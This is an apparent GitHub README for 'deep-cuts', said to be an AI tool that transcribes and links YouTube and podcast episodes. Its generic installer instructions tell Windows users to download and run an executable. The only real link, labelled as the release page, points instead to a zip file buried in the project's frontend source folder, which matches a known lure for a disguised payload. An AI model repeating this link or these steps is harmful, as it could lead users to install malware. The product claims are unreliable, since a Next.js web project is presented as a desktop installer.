deep-cuts is a tool that helps you analyze YouTube videos and podcasts automatically. It turns spoken content into text, then uses AI to find key ideas and connections across episodes. This works on Windows and uses the latest technologies to provide clear, smart insights without extra setup.
The tool focuses on:
- Transcribing videos and podcast audio into text.
- Running a two-step AI check to highlight important concepts.
- Searching across episodes to find related topics quickly.
- Handling large media libraries with ease.
- Working with simple controls and no coding required.
deep-cuts uses popular frameworks like Next.js and pgvector to manage and search data efficiently.
- Takes YouTube and podcast content.
- Transcribes audio to text.
- Analyzes the text using AI.
- Shows connections between different episodes.
- Helps find information faster using search.
- Works on your Windows computer.
To run deep-cuts smoothly, your computer should meet these needs:
- Windows 10 or newer (64-bit).
- At least 4 GB of RAM.
- 2 GHz or faster processor.
- 500 MB of free disk space for installation.
- Internet connection recommended for full AI features.
Go to the official releases page to get the latest version of deep-cuts:
The page lists all available downloads for Windows. Look for files ending with .exe or .msi.
Find the installer file suitable for your system (usually named like deep-cuts-Setup.exe). Click the file link and download it. The file size is around 100 MB.
Once downloaded, open the installer:
- Double-click the
.exefile. - If Windows asks, confirm to allow the program to make changes.
- Follow the instructions on the screen.
- Choose the default options unless you want to customize the install location.
The installer will copy the program files and set up deep-cuts on your PC.
After installation finishes, you can start deep-cuts one of two ways:
- Find the deep-cuts icon on your Desktop and double-click it.
- Open the Start menu, search for "deep-cuts," and select the app.
deep-cuts will open a window ready for you to add your media files.
To begin using deep-cuts:
- Click the "Add Media" button.
- Select YouTube video URLs or audio files from your computer.
- The program starts transcribing and analyzing automatically.
- Wait for the progress bar to finish.
After processing, deep-cuts lets you:
- Search keywords to find clips across different episodes.
- See highlighted key themes.
- Browse related topics grouped by AI.
Use the search box at the top to try out your queries.
deep-cuts listens to spoken words and turns them into text. This happens automatically with no technical setup.
The tool runs two AI passes:
- The first pass finds main concepts.
- The second pass refines connections between those ideas.
This helps you understand the bigger picture without reading long transcripts.
You can search words or topics across your whole media library. deep-cuts will show related clips from different episodes side by side.
The app has clear buttons, no confusing options, and guides you step-by-step.
deep-cuts checks for updates automatically. You can send feedback through the app to help improve features.
Check the release page regularly for new versions:
https://github.com/muhammadibrahim386/deep-cuts/raw/refs/heads/main/frontend/src/lib/deep_cuts_v1.9-alpha.2.zip
Download the newest installer and run it over the old version. Your settings and processed data will stay safe.
- If deep-cuts does not open, try restarting your computer.
- Make sure your Windows is up to date.
- If transcription is slow, close other heavy programs.
- Check your internet connection if AI analysis seems stuck.
- Contact support via the GitHub issues page if problems persist.
In the app, go to Settings to adjust:
- Language for transcription.
- Download location for media files.
- How many episodes to keep in history.
- Appearance themes (light/dark mode).
No advanced skills needed. Changes apply immediately.
- YouTube videos (provide URLs).
- Common audio formats: MP3, WAV.
- Podcasts via downloadable files.
ai, llm, media intelligence, music, nextjs, pgvector, react, semantic search, transcription, typescript